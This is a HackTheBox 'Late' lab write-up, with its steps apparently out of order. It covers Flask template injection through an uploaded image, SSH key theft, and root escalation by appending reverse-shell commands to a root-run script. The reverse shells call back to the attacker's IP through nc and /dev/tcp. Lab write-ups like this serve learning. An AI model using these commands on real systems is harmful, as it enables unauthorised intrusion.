Hackthebox - Late
Last updated
Last updated
Linux
And right after the upload I got this beautiful text indicating that my payload worked!
It is now time to try to get a reverse shell using this trick!
ls on home gives this so we have a user svc_acc
Let's make an id
uname -a
I was about to try to get a reverse shell but I decided to make a sanity check to see if we had ssh keys.
Let's remove useless chars from the key and try to ssh to the box using it
chmod 600 id_rsa_svc-acc
ssh -i id_rsa_svc-acc svc_acc@10.10.11.156
We are connected, this foothold was really painful and required patience because the size of the font in the image matters a lot. Here are a few tips if you are stuck.
The payloads have to be in one line
I used mousepad with a light theme and zoomed in to make the font bigger
Let's enumerate the machine with linpeas wget https://github.com/carlospolop/PEASS-ng/releases/download/20220508/linpeas_linux_amd64
python3 -m http.server 80 we serve our file with python http server
wget http://10.10.14.11/linpeas_linux_amd64 we get the file in our target
chmod +x linpeas_linux_amd64 we make it executable
The script sends an email when someone logs in using ssh.
We can check the processes with pspy these are interesting and they are launched as root
So now we know that a process is using chatter to make ssh-alert appendable
We could append the file with a malicious command and get a reverse shell this way. We would trigger it by connecting through ssh. We have to be fast though because a cron job reverts the files regularly.
Let's launch a listener rlwrap nc -lvp 4444
Note: I first tried to append the file with nc echo 'nc 10.10.14.11 4444 –e /bin/bash' >> ssh-alert.sh as it was installed in the machine but the shell I caught back did not let me run commands
echo '/bin/bash -i >& /dev/tcp/10.10.14.11/4444 0>&1' >> ssh-alert.sh This one did the trick
Then from our machine we connect through ssh
We have a website for pics
There is a link http://images.late.htb/ let's change /etc/hosts file
We get a form to upload image. I got stuck with this for while on where was the injection point. Because the image uploaded is actually suppose to give you text. I already knew that I had to exploit flask because I had done it in a previous box. I was just stuck on where to put my paylaod. And finally it hit me. I had to write my payload in a text editor make it very big, screen it and upload the resulting image to the server. So I tried the usual first payload for flask {{7*7}}
After a few tries I got a working ls
(Done with mousepad and then zoomed in)
We also took the user flag using this image
Indeed, with the enum we find a folder .ssh
And we have a private key
We get the private key!
If for some reason the exploit did not work because of the size of the font get back to the font that was working before and make edit your picture in gimp or another similar tool by taking the 2 parts of the line to make it in one line
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
We have to investigate this folder and the script ssh-alert.sh
And finally we catch a root shell and can grab the final flag!!
